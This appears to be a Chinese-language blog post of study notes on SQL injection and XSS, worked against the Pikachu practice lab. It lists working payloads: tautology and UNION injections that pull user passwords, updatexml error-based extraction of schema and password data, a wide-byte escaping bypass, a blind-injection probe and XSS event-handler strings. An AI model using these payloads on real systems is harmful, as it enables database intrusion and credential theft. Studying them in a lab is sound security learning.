漏洞02-SQL注入

SQL注入

文章目录


bash 复制代码
SQL注入

$query="select id,email from member where username='$name'";

$query="select id,email from member where username='vince'";

$query="select id,email from member where username='xx'";

$query="select id,email from member where username='xx' or 1=1#'";

$query="select id,email from member where username='xx' union select username,password from users#'";

#、--   注释的意思

$query="select username,email from member where id=$id";

$query="select username,email from member where id=1";

$query="select username,email from member where id=1 or 1=1#";

$query="select username,email from member where id=1 and 1=1#";

$query="select username,email from member where id=1 and 1=2#";

$query="select username,email from member where id=1 union select username,password from users";




$query="select username,id,email from member where username like '%$name%'";

$query="select username,id,email from member where username like '%xx%' or 1=1#%'";	
	
	

报错注入:[mysql数据库中存在一个information_schema的默认数据库,这个库里面记录着整个mysql管理的数据库的名称、表名、字段名]
x' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#       报数据库版本信息 0x7e 16进制
x' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#          报数据库当前用户
x' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#      报数据库


x' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
报表名---

x' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema='pikachu' limit 0,1)),0)#
报字段名

x' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#
报字段内容
	



增删改:页面没有回显信息
insert
$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";
x' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or'
使用报错注入的形式

update
x' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or'
使用报错注入的形式

delete
使用报错注入的形式
 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#











	
宽字节注入:(开发加了转义)	
转义函数把字符如:'、"、等自动在前面加上\,让这些符号的意义失效,或注释掉
$query="select id,email from member where username='xx\' or 1=1#'";
$query="select id,email from member where username='xx%df' or 1=1#'";
xx\' or 1=1#     xx%5C%27+or+1%3D1%23
                 xx%df%5C%27+or+1%3D1%23


SQL盲注
$query="select id,email from member where username='vince'";
$query="select id,email from member where username='vince' and ascii(substr(database(),1,1))=112#'";




XSS跨站脚本漏洞

试探:'"<>123456

<script>alert("xss")</script>

存储型:每次刷新都会弹出,持久性伤害,所有访问该页面的用户都会中招



DOM型:
<a href='"+str+"'>what do you see?</a>
' οnclick="alert('xss')">
<a href='' οnclick="alert('xss')">'>what do you see?</a>



<a href='"+xss+"'>就让往事都随风,都随风吧</a>
相关推荐
专注API从业者3 分钟前
基于 Flink 的淘宝实时数据管道设计:商品详情流式处理与异构存储
大数据·前端·数据库·数据挖掘·flink
小猿姐1 小时前
KubeBlocks for Milvus 揭秘
数据库·云原生
码出未来8571 小时前
浅谈DDL、DSL、DCL、DML、DQL
sql
AI 嗯啦1 小时前
SQL详细语法教程(四)约束和多表查询
数据库·人工智能·sql
阿里云大数据AI技术1 小时前
【跨国数仓迁移最佳实践6】MaxCompute SQL语法及函数功能增强,10万条SQL转写顺利迁移
python·sql
杜子不疼.1 小时前
《Python学习之文件操作:从入门到精通》
数据库·python·学习
TDengine (老段)2 小时前
TDengine IDMP 高级功能(4. 元素引用)
大数据·数据库·人工智能·物联网·数据分析·时序数据库·tdengine
DashVector2 小时前
如何通过Java SDK分组检索Doc
java·数据库·面试
Olrookie3 小时前
XXL-JOB GLUE模式动态数据源实践:Spring AOP + MyBatis 解耦多库查询
java·数据库·spring boot
苏婳6663 小时前
【最新版】怎么下载mysqlclient并成功安装?
数据库·python·mysql